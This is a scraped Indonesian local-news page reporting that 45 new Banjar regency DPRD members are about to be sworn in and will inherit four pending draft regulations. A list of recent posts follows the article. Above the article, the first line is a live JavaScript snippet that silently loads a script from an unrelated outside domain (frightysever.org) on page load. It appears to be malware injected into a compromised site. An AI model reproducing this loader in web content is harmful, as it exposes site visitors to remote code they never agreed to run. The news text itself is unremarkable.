(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Besok Dilantik, 45 Anggota Baru DPRD Banjar Dapat Warisan 4 Raperda


MARTAPURA, Sebanyak 45 anggota baru DPRD Banjar akan dilantik Rabu (4/9) pagi di gedung DPRD Kabupaten Banjar Jalan A Yani Km 40 Martapura. Di hari pertama menjabat, mereka pun langsung mendapatkan ‘kado’ 4 Raperda yang tak sempat dijamah dewan sebelumnya.

Prosesi pelantikan anggota legislatif Kabupaten Banjar periode 2019-2024 ditandai pengambilan sumpah dan janji oleh Ketua PN Martapura Makmurin Kusumastuti SH, MH, terhadap 45 anggota legislatif yang terpilih pada Pileg lalu.

Hari ini, kesibukan terlihat di kesekretariatan DPRD. Persiapan itu seperti pembersihan ruang utama sidang paripurna istimewa di Lantai II. Kemudian di lantai dua itu pula terdapat ruang pimpinan terdiri ketua dan tiga wakil ketua, yang turut ditata ulang.

Beralih di Lantai III disediakan untuk para tamu dan undangan. Tak berbeda jauh, di bagian depan yakni di halaman disediakan tempat duduk bagi para tamu dan undangan lainnya.

Menurut anggota KPU Banjar, Abdul Karim Omar, pelantikan anggota baru juga akan mengundang berbagai tamu. Mulai Bupati, Wakil Bupati, jajaran Forkopimda, organisasi kemasyarakatn, tokoh, dan lainnya. “Kita berdoa semoga acara besok berlangsung lancar,” katanya.

Sebelumnya, Wakil Ketua DPRD Banjar, Saidan Pahmi menyampaikan, masih ada 4 perda yang tidak bisa diselesaiakan dewan lama. “Waktu yang terbatas, sehingga 4 Raperda tidak sempat kita selesaikan. Selanjutnya keempat Raperda akan diselesaikan Anggota DPRD Banjar periode  2019-2024 yang akan dilantik 4 September mendatang,” katanya.

Keempat Raperda yang akan diwariskan kepada Anggota DPRD Banjar yang baru ungkap Saidan, yakni Raperda perubahan Badan Hukum PDAM Intan Banjar menjadi PT, PD Baramarta, PD Pasar Bauntung Batuah, dan perubahan Raperda tentang RTRW.

“Semua Raperda tersebut sudah diparipurnakan, tetapi belum bisa diambil keputusan, karena belum selesai di pembahasan. Jadi 4 Raperda tersebut jadi PR bagi Anggota DPRD berikutnya dan biarlah menjadi keputusan politik mereka,” ungkapnya. (rendy)

Reporter : Rendy
Editor : Cell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.